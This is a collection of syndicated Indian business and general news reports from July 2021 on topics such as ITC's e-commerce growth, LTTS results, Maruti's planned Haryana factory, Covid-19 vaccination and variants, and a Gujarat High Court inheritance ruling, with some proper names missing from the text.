Witnessing a shift in consumer behaviour after the pandemic, the Kolkata-based diversified firm has also enhanced its play in the market, reaching out to customers through e-commerce channel partners, its own e-Store and even engaged D2C channels such as Dominos, Swiggy, Zomato and Dunzo.

Besides, the company is also working on cutting-edge digital technologies including artificial intelligence (AI), machine learning (ML) and industrial internet of things (IoT) to enhance productivity, driving efficiency and reducing costs.

"The pandemic boosted the e-commerce channel as consumers sought to fulfil their needs from the safety of their homes during the lockdown period.

"Significant increase in internet penetration, the growing popularity of digital payments, attractive loyalty programmes, a wide assortment of products and faster deliveries continue to drive the rising salience of this channel," the company's directors said in the report.

The impact of these multi-dimensional interventions are evident in the substantial margin expansion of 640 basis points (bps) in segment Ebitda over the past four years, it added.

Ebitda stands for earnings before interest, tax, depreciation and amortisation.

The company witnessed doubling of its business from the e-commerce channels in the pandemic-hit FY21, which contributed to 5 per cent of its FMCG (fast-moving consumer goods) segment revenue.

Stating that the "pandemic has given wings to the trend of digitalisation that was already gathering momentum", the report said.

It added that accelerated is integral to the company's future-ready strategy and is increasingly being harnessed to enhance competitive advantage.

Cutting-edge digital technologies are being increasingly deployed across key touch points spanning consumer experience, smart and agile manufacturing and supply chain operations, employee experience and intelligent insights platforms, it added.

"Foundational initiatives such as the 'DigiNext' and 'Young Digital Leaders Forum' have been implemented towards steering your company through its digital journey and fostering a data driven and 'digital first' culture across the organisation," the directors stated.

Anticipating the increase in consumer preference for 'contactless shopping' and home delivery, "proactively engaged" with e-commerce platforms and aligned the supply chain to deliver the right SKUs (stock-keeping units) and product assortments.

"The rapid growth of modern trade and e-commerce channels, 'out-of-home' and 'on-the-go' consumption and the growing importance of chemists and speciality outlets in recent years, has warranted crafting of differentiated market/outlet specific strategies to seize the emergent opportunities," it said.

While, engagement with direct-to-consumer (D2C) channels such as Dominos, Swiggy, Zomato and Dunzo has augmented product availability.

"During the lockdown phase, in tune with the trends of increased at-home consumption, need for sanitizing products in the 'health and hygiene' space and the consumer need for health and wellness content, purposeful communication sharply focused on these need spaces were rolled out," said ITC.

Through its innovative model 'ITC Store on Wheels', it is directly covering over 900 residential complexes across 13 cities.

Besides online, ITC has also worked to enhance its direct and indirect reach, which has been stepped up significantly.

"Market and outlet coverage were expanded to 1.3x and 1.1x, respectively, compared to pre-COVID-19 levels.

"The stockists' network was nearly doubled to sharp target rural markets to drive growth, mitigate the impact of disruptions in the wholesale channel and effectively service emergent demand," the annual report said.

ITC's 'FMCG-others' segment continues to leverage digital technologies and platforms enhancing consumer experience.

"Strategic interventions in this area are aimed at delivering delightful brand experiences seamlessly across touchpoints through personalised journey mapped to individual's needs, preferences and context," it said.

The businesses continue to increasingly leverage 'Sixth Sense', the marketing command centre and consumer data hub, which is an AI-powered hyper-personalised platform backed by a robust partner ecosystem for content and data to gain insights on market trends and consumer behaviour.

While talking about its own direct-to-consumer channel, ITC e-Store, which was launched just prior to the lockdown in March 2020, "The initiative has been well received by consumers and plans are on the anvil to rapidly scale up the same in the ensuing months."



It has collaborated "with the leading e-commerce platforms on all aspects of operations i.e. category development, marketing, supply chain and customer acquisition".

"This was augmented by development of exclusive and relevant pack assortments, capability building to execute plans to drive 'digital-first' brands and platform discoverability through jointly curated campaigns," said ITC.

Besides, ITC is empowering employees using advanced analytics with AI and ML capabilities.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
(LTTS) on Wednesday reported an 84 per cent jump in its June quarter net at Rs 216.2 crore, largely on widening margins.

The city-based company, the engineering and research and development services arm of the infra major L&T, had posted a net profit of Rs 117.2 crore in the year-ago period.

Its overall revenue increased by 19.42 per cent to Rs 1,562.6 crore for the reporting quarter, while the operating profit widened 5.20 per cent to 17.3 per cent, its highest ever.

"Certain degree of normalcy has come back in the US and also Europe (which contribute over 80 per cent of revenues). Decision making has come back. Japan and India will also eventually come back," its newly-inducted chief executive and managing director Amit Chadha told PTI.

Chadha said the company is now upping its revenue growth guidance to 15-17 per cent in FY22 as against the earlier 13-15 per cent because of the prospects that it sees, and is also more confident about the profit margins.

He said it could widen the margins despite implementing wage hikes for junior and mid level employees from April, and added that the hikes for others will be implemented from July onwards, which should be seen as things getting back to normal.

The company could expand the margins because of levers like higher digitalization, he said, adding that the quantum of work done offshore has also increased to 58 per cent of the billing as against 50 per cent before the pandemic.

The company sees a headroom for increasing the offshore mix in billing to go up by another 1-2 percentage points, he added.

It hired 300 freshers during the quarter, and is targeting to to do a total of up to 1,500 freshers during the fiscal year ending March 2022, he said. The overall headcount at the end of June stood at 16,972 people.

Chadha said LTTS offices in US, Israel, and Europe (excluding UK) are operational now, and added that by early 2022, it expects more normalcy with over 75 per cent of the staff across the globe working from offices. The proportion of people working from offices had touched 35-40 before the onset of the second wave of the pandemic in India.

There is also a possibility of increasing the office space within the country in the time ahead, Chadha said, adding that it opened a new facility in Mysore recently and has additional space in its Bengaluru and Vadodara.

The company has identified six focus areas from a future growth perspective in which it will be investing, including automated electric vehicles, 5G telecom, medical technologies, digital manufacturing, AI/ML and sustainability, he said, adding that the capital expenditure will remain within the 1-2 per cent of revenues band.

The company scrip closed 2.86 per cent up at Rs 2,910.25 on the BSE on Wednesday before the announcement of the earnings, as against gains of 0.25 per cent on the benchmark.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
The country's largest carmaker India (MSI) is planning to invest around Rs 18,000 crore on a new facility in Haryana, as per a top company official.

The new plant would replace the company's Gurugram-based facility and is expected to have an installed production capacity of 7.5-10 lakh units per annum.

While confirming the Rs 18,000 crore investment plan, MSI Chairman RC Bhargava told PTI that the company had always planned to shift the Gurugram facility to a nearby location.

He however declined to share details about the location finalised by the company.

"We had said a long time ago that we will shift our Gurugram plant and we will shift it close by somewhere in .so that is there," he said.

The auto major however remains wary of the state's new policy that has mandated 75 per cent job reservation for the locals in business and factory establishments.

"Those issues still remain, they have not been solved so nothing has changed there as well," Bhargava said when asked about the matter.

The company has been in talks with the state government but the issue remains unresolved, he added.

When asked about the timeline for starting the project, Bhargava said: "We don't know yet, can't say right now."



He, however, added that the production capacity of the plant would be 7.5 -10 lakh units per annum depending upon the market growth in India.

MSI has decided to shift its Gurugram plant, which is spread over 300 acres, because of congestion and traffic hassles.

The plant, which is the company's first in the country, falls around residential areas. It is where the company began its India journey in 1983 by rolling out its first model -- the iconic Maruti 800.

With the rapid development in Gurugram, the company now finds its plant in the middle of a bustling city which has made it difficult for trucks carrying raw materials and finished products to move in and out of the plant.

Local residents and authorities want congestion issues due to the plant to be addressed.

At present, the Gururgam plant rolls out many of the company's popular models, including Alto and WagonR, with an estimated annual capacity of around 7 lakh units.

Besides Gurugram, MSI has another unit in at Manesar. Both these units have combined production capacity of about 15.5 lakh units per annum.

Its parent Suzuki Motor Corp has also set up a facility in Gujarat with an installed production capacity of 7.5 lakh units per year after the third unit started production in April this year.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
Carmaker plans to invest up to Rs 18,000 crore for a new factory in Haryana to make a peak million units annually, R C Bhargava, the companys chairman, has told 'Times of India', adding the company had "sort out" concerns about the states policy to reserve jobs in the private sector.

The proposed unit may be spread over 700-1,000 acres and would replace the companys first factory in Gurugram. The coronavirus pandemic had delayed plans for the new factory.

We have a plan to invest Rs 17,000-18,000 crore. The total capacity that we are planning is between 7.5 lakh and 10 lakh cars per annum. This is the scale that we are looking at, Bhargava said, adding the company would like to shift quickly to the new location.

Bhargava told Times Haryanas policyannounced last yearto reserve 75 per cent jobs was "an additional issue to sort out". "We are concerned about it. We are talking to them, (and) asking the state government to work out a solution, which can make everyone happy."

The Confederation of Indian Industry (CII), in March 2020, asked Haryana to reconsider the policy that came into force legally last year.

The assembly passed the Haryana State Employment of Local Candidates Bill in 2019, mandating 75 per cent reservation for local people in private sector jobs, where the salary is less than Rs 50,000 a month.

This rule is applicable for 10 years and aims to address rising unemployment in the state.
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UN Secretary-General Antonio Guterres on Tuesday said that 11 billion doses are needed to vaccinate 70 per cent of the world to end the Covid-19 pandemic.

"Pledges of doses and funds are welcome -- but they are not enough. We need at least 11 billion doses to vaccinate 70 per cent of the world and end this pandemic," the UN chief told the opening of the ministerial segment of the High-level Political Forum on Sustainable Development, which is the top platform for reviewing the implementation of the 2030 Agenda for Sustainable Development and its 17 Sustainable Development Goals, Xinhua reported.

"Everyone, everywhere, must have access to Covid-19 vaccines, tests, treatments and support," said the top UN official.

"The development and roll-out of vaccines, including through the global equity mechanism, the ACT-Accelerator and its COVAX facility, is offering hope," said the secretary-general.

Noting that there is "uneven access" to these tools, especially vaccines, around the world and within countries, the UN chief said that "a global vaccination gap threatens us all" because as the virus mutates, it could become even more transmissible, or even more deadly.

"The world needs a Global Vaccination Plan to at least double the production of vaccines, ensure equitable distribution through COVAX, coordinate implementation and financing, and support national immunization programs," said Guterres.

"To realize this plan, I have been calling for an Emergency Task Force that brings together the countries that produce and can produce vaccines, the World Health Organization, the ACT-Accelerator partners and international financial institutions, able to deal with the relevant pharmaceutical companies and manufacturers, and other key stakeholders," the secretary-general spelled out.

"Right now, it is essential to fully finance the ACT-Accelerator and support the $50 billion investment roadmap, to be led by the International Monetary Fund, the World Bank, the World Health Organization and the World Trade Organization, to end the pandemic and secure a global recovery," said the secretary-general.

--IANS

int/pgh

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
(This report has been updated to include the Indian Army's denial) After a winter lull, Chinese troops have again crossed the Line of Actual Control (LAC) in Eastern Ladakh at several places, government sources say. And there has been at least one clash between the two sides.

The altercation took place on the Galwan River, close to where 20 Indian soldiers were killed on June 15 last year. It is not known whether any casualties occurred this time. Like in the June 2020 clash, there was a confrontation when People's Liberation Army (PLA) soldiers set up a tent at the ...
Chief Minister on Tuesday said the state is managing COVID-19 vaccination excellently, while blaming the delay in the drive on short supply of vaccine doses.

Reviewing the progress of the inoculation campaign in the state from his official residence, the chief minister urged the Centre to give adequate supply of vaccines as a large number of people are yet to get their second dose.

He directed officials of the state government to demand an increase in the supply of vaccines from the Centre so that people can be vaccinated on time.

In a statement, the chief minister said that the World Health Organization (WHO) has appreciated the vaccination management of

"It is a matter of pride for the state. Our medical personnel have done the vaccination with utmost efficiency," he added.

Gehlot said a protocol should be prepared for religious events in the coming months in the wake of the viral disease.

Health Minister Raghu Sharma said his department was ensuring proper preparations, keeping in mind the possibility of a third wave of the pandemic. A door-to-door survey has been started for non-communicable diseases, he added.

So far, 2.67 crore doses of COVID-19 vaccine have been administered in the state. Out of these, 2.18 crore people have received their first dose and 48.87 lakh people have received both doses, Health Secretary Siddharth Mahajan said.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
vice chairman on Wednesday took stock of the water utility's online tanker management system and grievance redressal helpline and asked officials to attend to all requests for water tankers within one-and-a-half hours.

Officials told Chadha that the number of requests for water tankers in Delhi had increased due to the crisis arising out of Haryana withholding Delhi's share of water.

The DJB VC said that the Haryana government has released 16,000 cusecs of water in the Yamuna from the Hathnikund Barrage in Yamuna Nagar district and the crisis in the capital will be resolved now.

"Took stock of @DelhiJalBoard's Online Tanker Management System & DJB Grievance Redressal Helpline to ensure that no complaint goes unattended during this crucial period till the time Haryana's discharge of 16000 cusec reaches Delhi and normal supply of piped water is restored," he tweeted.

Chadha himself called up a person who had requested for a water tanker and ascertained the status of the request.

He asked officials to address every request for water tanker within one-and-a-half hours.

Chadha had earlier said that Haryana had been withholding 120 MGD (million gallons a day) water belonging to Delhi, which led to a water crisis in Delhi.

He had said the water level at the Wazirabad pond had hit the lowest mark since 1965 and the river had dried up because of Haryana not releasing water.

The water utility had on Sunday moved the Supreme Court seeking directions to the Haryana government to release Delhi's share of water.

In 1996, the apex court had told the Haryana government and other states to share the Yamuna's water to ensure that there was no shortage of drinking water in Delhi.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
The (BSF) troops fired and repulsed a flying object along the international border in the sector of Jammu and Kashmir, officials said on Wednesday.

"On intervening night of 13/14th July, a blinking red light was observed by own troops in sector at about 9.52 p.m. at height of 200 metres on own side," the BSF said.

"Alert troops fired from their position towards red blinking light , due to which it returned back. Area being searched . Nothing found so far."

Jammu is witnessing an increased drone activity.

On July 2, a quadcopter was repulsed by the BSF in the sector.

On June 29, drone activities were thwarted by the army troops at Ratnachuk-Kaluchak military area in Jammu. On June 27, there were two bomb blasts at the Jammu airforce station which security agencies suspected were carried out using drones.

--IANS

zi/pgh

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
The community Durga Puja



committees in will ensure that all those who are involved in the rituals and other related works are vaccinated in the next three months, an official said on Wednesday.

The puja committees will also make certain that people visiting the pandals wear masks covering the nose and maintain social distancing, Forum for Durgotsab official Partha Ghosh told PTI.

"From our members and locals frequenting the pandals to artisans, priests, dhakis and electricians -- everyone will have to get COVID vaccines in the next three months," he said.

"We expect everyone to get both doses but for dhakis (traditional drummers) coming from villages two-three days before the puja, we will ensure they get at least one dose," Ghosh added.

Forum for Durgotsab, an umbrella organisation of 550 community Durga Pujas in and neighbouring areas, also published guidelines to ensure that the festivities are held following COVID-safety protocols.

The pandals have to be built in such a way that devotees can see the idols from a distance and need not come near, as per the guidelines.

"For 'pushpanjali', offering of cut fruits won't be allowed and physical distancing has to be maintained during the ritual," it said.

The guidelines, which will be submitted to the government, were similar to the ones set by the Calcutta High Court last year as it banned the entry of people to the pandals.

The puja committees are hoping that like last year no big turnout is witnessed amid the threat of the third wave of the pandemic, said Ghosh, who is also a member of the Shibmandir committee in south

"The challenge for every crowd-puller puja committee like ours will be how to strike a balance so that the pandals are built maintaining aesthetics while the idols can be seen from a distance," he said.

The committees in the city are also focussing on digital presence to ensure that people can view the artworks from home.

"We will project the idol and the decorations in such a way on social media that people may not feel the urge to come to the pandal," said Soumen Dutta, the secretary of the award-winning Kashi Bose Lane committee in north Kolkata.

"We will put a great emphasis on digital presence and project images with 3D effect to make it an enriching experience, even better than physical viewing," he said.

Several big-budget Durga Puja committees, including Sribhumi Sporting Club, Santoshpur Lake Pally, Hindustan Club and Shib Mandir, held the 'Khuti Puja' on Ratha Jatra.

The ritual of 'Khuti Puja' or worshipping a pole marks the beginning of the building of pandals.

The festivities will begin this year on October 12 with Maha Saptami and go on till October 15 -- Bijaya Dashami.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
The has tentatively listed July 27 as the likely date to hear the contempt petition filed by the against Karnataka and central government against the construction of Mekedatu dam over river by the

The had moved the contempt petition against the director of project appraisal (south), chairman of the Central Water Commission, directorate of the Central water commission, Managing Director of Neeravari Nigam Limited, Karnataka's water resources department principal secretary and minister. The contempt was moved in December 2018 after the Central Water Commission entertained the feasibility report of the dam.

Tamil Nadu has contended that the Central Water Commission had ignored the court order. In an all-party meeting held on Monday, the opposition AIADMK wanted the state government to clear all cases related to the Mekedatu dam including the contempt of court proceedings.

S. Duraimurugan, senior leader of the DMK and state water resources minister had, in the all-party meeting on Monday, said that the state government would oppose the Mekedatu dam project continuously as the would have to get several clearances including from environment and forests, wildlife, energy, techno-economic clearance, resettlement and rehabilitation and said that the TN government would oppose the proposal at all these stages.

Tamil Nadu had opposed the water management authority taking up the Mekedatu dam issue three times during the meetings. It may also be noted that an expert appraisal committee of the union environment ministry had not given the the terms of reference for an environmental study in June 2019 on the Mekedatu dam project.

While the has tentatively listed the contempt plea for hearing on July 27, the official date will be known soon.

--IANS

aal/skp/

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Ahead of his visit to Varanasi, Prime Minister on Wednesday shared details of many projects he will inaugurate there and asserted that his government's vision is to build quality infrastructure in the holy city for the coming generations.

During the visit to his parliamentary constituency, Modi will inaugurate a wide range of development works worth over Rs 1,500 crore.

He said these projects will further boost "ease of living" for the people of Kashi, the ancient name of Varanasi, and Poorvanchal.

In the past few years, the Centre and the UP Government have done extensive work in the health sector, he said, noting that as a part of these efforts, a 100-bed MCH wing in BHU hospital will be inaugurated.

The project will make quality healthcare easily accessible to the people of Kashi and surrounding areas, he tweeted.



I am delighted to be inaugurating a convention centre Rudraksh in Constructed with Japanese assistance, this state-of-the-art centre will make an attractive destination for conferences thus drawing more tourists and businesspersons to the city. pic.twitter.com/ExoBLO6sp3  (@narendramodi) July 14, 2021

"Our vision for Kashi is to build quality infrastructure for the coming generations. In that spirit, will be laying the foundation stone for CIPET, rural projects under Jal Jeevan Mission and mango as well as vegetable integrated pack house in Karkhiyaon," he said.

He added, "I am delighted to be inaugurating a convention centre Rudraksh in Constructed with Japanese assistance, this state-of-the-art centre will make Varanasi an attractive destination for conferences thus drawing more tourists and businesspersons to the city."



Key projects that would be inaugurated in Varanasi include multi-level parking at Godaulia, Ro-Ro vessels for tourism development and a three-lane flyover bridge on the Varanasi-Ghazipur highway, the prime minister said.

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RBI bars from onboarding new customers in India from July 22

The (RBI) on Wednesday barred global card player Asia/ Pacific Pte Ltd from onboarding new domestic customers on its network from July 22, due to non-compliance with guidelines on local data storage, despite ample time and adequate opportunities given to it. Read more here

Q1 net profit rises 23%; company hikes FY22 revenue guidance

Q1 FY22 numbers look like a balancing act, but a hike in its annual revenue guidance signals for a robust growth for the industry. The company hiked its annual revenue growth rate for FY22 to 14-16 per cent. It had guided for 12-14 per cent revenue growth for FY22 in Q4 of FY21. Read more here

Bengal extends Covid curbs till July 30, allows Metro services on weekdays

Keeping in mind the warning of experts about a possible third wave of the Covid-19 pandemic, the West Bengal government on Wednesday extended the ongoing restrictions till July 30, but also announced certain relaxations.

Metro Railway services are allowed to resume operations with 50 per cent seating capacity on weekdays, a government order said. Read more here

drop after Saudi Arabia and UAE reach output compromise

dropped on Wednesday after Reuters reported that Saudi Arabia and the United Arab Emirates had reached a compromise over a global supply deal that will allow the UAE to boost its output.

The deal between the two Gulf producers means that members of the Petroleum Exporting Countries (OPEC), Russia and other producers, a group known as OPEC+, will be able to extend a deal to curb output until the end of 2022, the sources said. Read more here
Sub-lineages of variant -- AY.1, which is commonly known as the Plus, and AY.2 -- are unlikely to be more transmissible than the parent, said INSACOG, a consortium of government panel involved in genome sequencing of

These two sub-lineages are also below 1 per cent in the genome samples sequenced in the country in June, it said in a recent bulletin.

INSACOG also said AY.3 has been identified as a new sub-lineage and it is defined by ORF1a: I3731V common AY.1 mutations except for S: K417.

This is primarily seen in the US with single reclassified cases in the UK and India. However, there is "no known significant property" of this mutation. But since it is a Delta variant of concern (VOC) sub-lineage, INSACOG will continue to monitor it, the bulletin stated.

"Delta sub-lineages AY.1 and AY.2 are declining globally with near-zero cases in the last week of June in either the UK or US, where they were most frequently seen. They also continue to be below 1 per cent in available sequences from June in India.

"It is likely that neither AY.1 nor AY.2 is more transmissible than Delta," the INSACOG said, adding there is no indication of a rising trend in the four clusters of Ratnagiri and Jalgaon in Maharashtra, Bhopal in Madhya Pradesh and Chennai in Tamil Nadu.

INSACOG said the Delta variant (B.1.617.2) is the dominant lineage for new cases across all parts of India in recent samples and remains the most rapidly rising lineage globally.

Delta variant and its sub-lineages are the only VOC in India at this time, it added.

It was a prime variant driving the second wave of the that swept India between March to May this year, killing thousands and infecting lakhs. It is also a primary variant that has been currently leading to a spike in infections in other parts of the world.

This also led to apprehension among many that its sub-lineages AY.1 (Delta Plus) and AY.2 will be more virulent than the Delta variant



The INSACOG said in the vaccine efficacy report from Public Health England, two doses of the AstraZeneca (Covishield) vaccine are estimated to provide 94 per cent protection against death from COVID-19 in people aged 65 and over.

Recently released vaccine efficacy report for Covaxin also shows high efficacy against severe disease, but reduced efficacy against infection. There are recent reports from Israel about the reduced efficacy of the Pfizer vaccine in preventing infection, it added



On Alpha variant (B.1.1.7, first documented in the UK), the INSACOG said its prevalence has declined in India and globally. Beta (B.1.351, first documented in South Africa) is also at very low levels in India at this time.

"Gamma (P.1, first documented in Brazil) and Lambda (C.37, first documented in Peru) are not seen in over 10,000 community samples sequenced by INSACOG since May. However, in view of possibly high immune escape properties, they will continue to be specifically monitored," it said.

Continuing outbreaks across India are attributable to the Delta variant, susceptible population, and opportunities for transmission. Public health measures to reduce transmission and vaccination remain critical.

The Indian SARS-CoV-2 Genomics Consortium (INSACOG), jointly initiated by the Union of Health, and the Department of Biotechnology (DBT) with the Council for Scientific and Industrial Research (CSIR) and Indian Council of Medical Research (ICMR), is a consortium of 28 national laboratories to monitor the genomic variations in the SARS-CoV-2.
The has said that a woman's right to a share in her father's cannot be relinquished on the basis of a mere consent affidavit signed by her waiving her rights.

The court of Justice A Y Kogje allowed a plea of a woman from Bhavnagar district, challenging the decision of the district authorities to accept a consent affidavit giving up her rights in the while refusing to include her name in the revenue records of the land.

Petitioner Roshan Deraiya and her sister Hasina had signed a consent affidavit before their father Haji Deraiya died in October 2010, giving up their share of land in favour of their three brothers, on the basis of which their names were excluded from the revenue records.

When the land was transferred in the name of the petitioner's brothers after their father's death, she approached the deputy collector questioning the exclusion of her name on the basis of the consent affidavit that she had signed when her father was alive.

The petitioner's application to mutate her name was rejected by both the deputy collector and the collector. The revenue department also rejected her appeal in June 2020 on the grounds of delay.

Even after the death of the father, the petitioner's right on account of the succession for her share in her father's share of the land was required to be examined, the court said in the order, which was made available on Monday.

The consent affidavit could not be treated to have extinguished the right of the petitioner in the share of the father after his death. The order of the deputy collector is therefore faulted on the ground of not considering the relevant material," the court said.

Even if the affidavit in question is to be used as the basis of relinquishment, it has to be established by "cogent evidence", the court said.

The petitioner had told the court that the authorities accepted the relinquishment deed in question despite her objection, and distributed the land belonging to her father among her three brothers without her consent or approval.

When she approached the revenue department, it cited delay, saying the petitioner was raking up a stale claim six years after her father's death.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
How vaccine chaos left a Covid-zero haven locked down and exposed

Australia was once hailed as a Covid-zero haven as it kept the virus at bay for the better part of the pandemic year. This was done through strict lockdowns and shutting down borders even at the hint of infections. But the strategy seems to have run its course as newer, more virulent strains slip through border curbs. And the country had no 'Plan B' to speak of in the fight against the ever-evolving In contrast, rapid vaccinations have allowed other nations to tolerate infections as long as the hopsitalisations and death rates are low. Slowly but surely, many countries are opening up, realising the fact that they can't shut economies forever. But a sluggish inoculation strategy has forced Australia to enforce lockdowns again and again. Read here

Let's look at the global statistics

Global infections: 187,803,426

Global deaths: 4,048,968

Vaccine doses administered: 3,496,448,967

Nations with most cases: US (33,914,922), India (30,946,147), Brazil (19,151,993), France (5,882,945), Russia (5,762,211).

Source: John Hopkins Coronavirus Research Center

AstraZeneca, Oxford said to look at adapting vaccine against clot risk

Scientists from and University of Oxford are exploring possibilities to prevent rare blood clots linked to its vaccine, Bloomberg reported quoting an official familiar with the matter. The research, still in early-stages, will delve into whether the shot can be tweaked in any way to reduce or remove the risk of the side effect, though there is no formal program or funding in place for the investigations at this stage. Many countries had earlier suspended the Astra shot after cases of rare blood clots linked to the vaccine emerged. However, the World Health Organization and many other countries later agreed that the benefits of the vaccine far outweigh the risks, and that the vaccine can be continued to deployed for use. Read here

As England races to re-open, Scotland is moving cautiously

As England races ahead on its reopening with record vaccinations, its neighbour Scotland is adopting a more cautious approach in easing the rules. The country has seen some 2,000 cases, a drop in the numbers after a rapid rise at the beginning of the month. England will lift all its curbs starting July 19 including voluntary face masking for fully vaccinated. On the other hand, people in Scotland will still be urged to work from home, face restrictions on the size of gatherings and be obliged to wear face coverings in indoor spaces, including public transportation. The difference was most stark on the issue of face coverings which, would remain mandatory in Scotland not just now, but in all likelihood, for some time to come. Read here

warns of chaos if individuals mix Covid vaccines

The World Health Organization (WHO) has warned against individuals mixing vaccine shots, and said that such decisions should be left to health authorities. "It will be a chaotic situation in countries if citizens start deciding when and will be taking a second, a third and a fourth dose, Soumya Swaminathan, the global agency's top scientists said before clarifying that public health agencies can do so, based on available data. Some studies are showing positive results from mixing vaccines, but these are in early stages and need further studies to support them. Read here
The Centre on Wednesday asked the states to direct their police not to register cases under the repealed Section 66A of the Act, 2000 related to posting online comments.

The Supreme Court in 2015 had struck down the controversial Section 66A of the that made posting "offensive" comments online a crime punishable by jail, after a long campaign by defenders of free speech.

However, recently, the apex court had said that it was shocking that the judgment striking down the law has not been implemented even now.

The (MHA) has requested states and Union Territories (UTs) to direct all police stations under their jurisdiction not to register cases under the repealed Section 66A of the Act, 2000, a home ministry statement said.

The ministry said it has also asked the states and UTs to sensitise law enforcement agencies for the compliance of the order issued by the Supreme Court on March 24, 2015.

The MHA has also requested that if any case has been booked in states and UTs under section 66A of the IT Act, 2000, such cases should be immediately withdrawn.

The Supreme Court in its judgment on March 24, 2015 in the matter of Shreya Singhal Vs. Union of India had struck down Section 66A of the Act, 2000. This made Section 66A of the Information Technology Act, 2000 null and void with effect from the date of the order and hence no action could be taken under this section.

The section of the law provides police power to arrest a person for posting "offensive" content online and provides for a three-year jail term.

The Supreme Court early this month issued a notice to the Centre on the use of Section 66A of the and said that it was shocking that the judgment striking down the law has not been implemented even now.
Dismissing as baseless group chairman Sabu Jacob's allegation that the atmosphere in is not industry-friendly, state Industries Minister P Rajeev on Wednesday said his government stands for "responsible investment" and the southern state would be made a destination of such in few years.

In an exclusive interview to PTI, Rajeev said the focus of the government is to attract green industries and IT-based industries in as land scarcity and environmental issues associated with it have been a problem in the state.

"We are always taking a stand in favour of investment, in favour of industries.But our need is that-- investment should be responsible. We stand for responsible investment," said Rajeev, who represents Kalamassery--an industrial hub in Kerala--in the state Assembly.

Elaborating on responsible investment, the minister said it is a strategy and practice to incorporate environmental, social and governance (ESG) factors in investment decisions.

"If you are looking at the world, the new motto is responsible investment.The world is changing towards responsible investment," Rajeev said, hitting back at Jacob, who had alleged that the state industries department was like "a frog in the well"-- unaware of the investor friendly atmosphere in other states.

"His (Jacob's) activities are totally against this concept (of responsible investment)", the minister alleged.

His statement comes days after Jacob announced withdrawal from a Rs 3,500 crore investment project in Kerala, alleging harassment by state government officials and in turn promised to invest Rs 1,000 crore in a textile park in Telangana.

Last week, Jacob held a meeting with Telangana Industries Minister K T R Rama Rao for in that state.

Rajeev said "apparel industries are facing serious problems all over the world" due to environmental issues and moving from one state to another state is the existing phenomenon in that industry.

Textile dyeing is one of the most polluting aspects of the apparel industry, the minister said and opined that garment industries are being set up in places where the investors get low cost employment, environmental issues are very less and pollution is not a concern for the people.

"We are focussing on the new generation industries and IT-based industries and green industries. Now is becoming the largest hub of startups," the minister said, citing the growth of startups in a hub set up by the state government at Kalamassery in Kochi.

Rajeev said the Pinarayi Vijayan-led government, which has been in power in the state since 2016, has taken a lot of steps for ease of doing business in the state.

"In the first Cabinet itself, we have decided to bring in a law for setting up a grievance redressal mechanism.The bill is almost ready and would be passed in the Assembly session commencing next week," he said.

As per the bill, there will be a mechanism consisting of representatives of most of the departments in the government with an authority to take a decision for any issues on starting or running of an industry in the state.

"That mechanism has authority to take a decision for any issues regarding the industries and it is final and binding for all departments," the minister said.

Asked whether the decision of Jacob to back out from the Rs 3,500 crore investment has dented the image of the state as an investment-friendly destination, Rajeev said "it was an isolated issue and a purposeful attempt to tarnish the image of Kerala."



"Kerala is a valuable brand all over the world. No need for any propaganda to raise the value of this brand," the minister claimed.

He said the government had not taken any initiative to carry out inspections at the units.

The inspections were carried out following the directives of the National Human Rights Commission, Kerala High Court and other departments based on complaints from people including people's representatives like MPs and MLAs, Rajeev said.

Rajeev also said as the Minister for Industries, he had tried to address the issues whenever Jacob had gone publicly against the government.

Asked if he suspected that any force is behind Jacob, who has also formed a political party called Twenty20 and fielded candidates in the Assembly election held in April this year, to target the government, Rajeev said, "I am not sure regarding that. He has his own industrial and political interests.He has the right to go anywhere but he should not try to tarnish the image of our own state."



Responding to Jacob's allegation that the single window system in Kerala is an outdated system, the minister said this propaganda is far from the reality.

"If anybody wants to blame his own state or motherland for getting more and more incentives from some other place, I think it is not fair," Rajeev said.

He also claimed that Kerala has never witnessed a trade union agitation reaching a level of burning down factories.

"There are no labour disputes in Kerala.... Some states...these types of persons are propagating as examples of being investment-friendly..where companies were burnt down by workers..in some other states, multinational automobile companies were attacked by workers and local people."



"I am not blaming the workers or local people. The governments of such states have failed to resolve the issues.These types of incidents have not happened in Kerala," he said.

Asked if there is still room for a patch-up with group, Rajeev reiterated that the government was open for discussions.

"We have certain reservations only to their approach-- bringing this issue publicly against the interest of the state.That is the only discontent," the minister said.

"We are ready to discuss again if they are ready to continue their letter of intent for investment of Rs 3,500 crore in Kerala," he said.

He said Jacob's allegations that he was "hounded and kicked out from the state" were totally baseless.

"I don't know why they have commented like that. Some agenda must be there," he said.

Rajeev claimed most of the industries in the state are supporting the initiatives taken by the government for attracting more in the state.

"We are trying to make Kerala a destination of responsible investment in the country.Within a few years, Kerala would be the destination for responsible investment," he added.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
India did not join the (RCEP) due to strategic considerations, said Finance Secretary TV Somanathan, pointing at the border stand-off with China, a key member of the trading bloc. Besides, some free trade pacts India has signed have had large trade diversions and little benefit as partner countries resorted to non-tariff barriers, he said

I am not aware of too many countries which have signed FTAs with countries with whom they have live armed conflicts," the finance secretary said. India decided against joining in 2019, which includes China and the Association of Southeast Asian Nations (Asean). He was speaking at a panel discussion organised by economic think-tank National Council of Applied Economic Research (NCAER) in his personal capacity.

He said there has not been much benefit from some of Indias free trade pacts. Also, even if free trade may promise economic efficiency in importing certain items from another country, strategic considerations including armed conflicts with certain nations would eclipse such economic gains. There are instances where economics is overwhelmed by strategic considerations, said Somanathan, who is also the expenditure secretary.

